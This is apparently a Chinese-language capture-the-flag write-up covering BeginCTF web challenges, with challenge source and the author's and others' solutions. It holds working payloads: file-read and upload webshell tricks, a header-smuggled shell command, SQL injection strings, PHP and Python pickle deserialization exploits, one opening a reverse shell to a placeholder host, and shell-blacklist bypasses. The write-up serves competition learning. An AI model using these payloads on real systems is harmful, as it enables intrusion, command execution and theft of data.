BeginCTF-web

BeginCTF-web

zupload

die(file_get_contents($_GET['action']));
payload: php://filter/resource=/flag

zupload-pro


if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
payload: php://filter/resource=/flag

zupload-pro-plus

这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用

payload: php://filter/resource=/flag

zupload-pro-plus-max *

我的想法

image-20240206173439459

能包含zip包中的文件

但是好像不成功

离谱

把马压缩成zip然后包含,包含时候自动执行马里面的命令

image-20240206173623032

这个我也试过,但是我压缩的纯木马,不是命令执行,然后包含带上参数啥都没有

并且还总是网站崩溃,服了

其他做法

无法使用伪协议,应该是包含木马,但是只能上传正确的zip文件,所以在zip文件后面手动写马

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

image-20240206165638936

zupload-pro-plus-max-ultra

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
 
                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
 
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

我的解法

软链接,上传后下载下来即可

image-20240206165913680

其他解法

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

其中$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件

请求头加上

X-Extract-To: ;cat /flag > flag.txt

image-20240206170037049

zupload-pro-plus-max-ultra-premium

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;
    
                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }
 
                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    }

我的解法

软链接梭哈

其他解法

通过软链接操作/var/www/html,上传.user.ini包含一个恶意文件1.php

image-20240206170318857

zupload-pro-revenge

不解压了,但是不限制文件,传个马,前端有限制,抓包绕过

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;
 
            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

image-20240206170425073

zupload-pro-plus-enhanced


$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);

限制是zip,但是并不是验证最后一个点,而是数组的第二位

构造1.zip.php

image-20240206170646871

POPgadget

代码没留,给个别人的exp吧

我的做法是修改Fun类的$func为system函数,然后参数为env,(不能是ls /,会导致页面报错)

<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
 
 
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
 
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
 
$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));

sql教学局

哇,这页面也太好了,动态的

image-20240206171025833

自己尝试即可

空格被过滤,然后其他双写绕过即可

1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd)/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(grade)/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin')/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre')/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/loloadad_file('/flag')/**/frfromom/**/secret.passwoorrd#

Pickelshop *

image-20240206171254846

image-20240206171306598

这里我拿到cookie后拿去base64解密,发现是乱码就没思路了

结果base64解密后拿去pickle.loads一下才行

image-20240206171414099

import pickle
import os
import base64
 
class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
        return os.system, (s,)
 
e = exp()
s = pickle.dumps(e)
user = base64.b64encode(s).decode()
print(user)

在linux环境下运行

image-20240206171534358

。。。。不难,是自己没测出来

readbooks *

image-20240206171617787

这里我就测试了一下../目录穿越,但是显示banned,然后就没思路了

结果*竟然可以,list目录也是同理

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

@app.route('/list/<path:name>')
def listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

这里大佬的解法是

`echo '/flag'`

构造出/flag字符串

echo被过滤使用’ec’’ho’, 空格被过滤使用${IFS}

然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag编码得到L2ZsYWcq

image-20240206172029153

得到flag的文件是/_flag

对/_flag 进行编码L19mbGFn

再传入payload

`'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d`

image-20240206172055769

。。。唉,有点难,想不到啊

king *

唉,游戏通关了,都没点思路

image-20240206172227912

抓到了websocket的流量

image-20240206172245734

但是我没想那么多,我以为就是正常的数据而已

image-20240206172323350

。。。大佬的思维真厉害

但是这查询语句我也不知道啊(呜呜呜

{"query":{"listCollections":1}}

image-20240206172402364

然后可以用find命令去读flag文件值

{"query":{"find":"flagjyqe9i21fcf"}}

image-20240206172541359

这些命令在那些nosql文章中有出现,但也不是这个形式啊。。。不会用

final

唉,菜死了,四道题解不出来

reference

【Web】小白也能看懂的BeginCTF个人wp(全)-CSDN博客


BeginCTF-web
https://zer0peach.github.io/2024/02/06/BeginCTF-web/
作者
Zer0peach
发布于
2024年2月6日
许可协议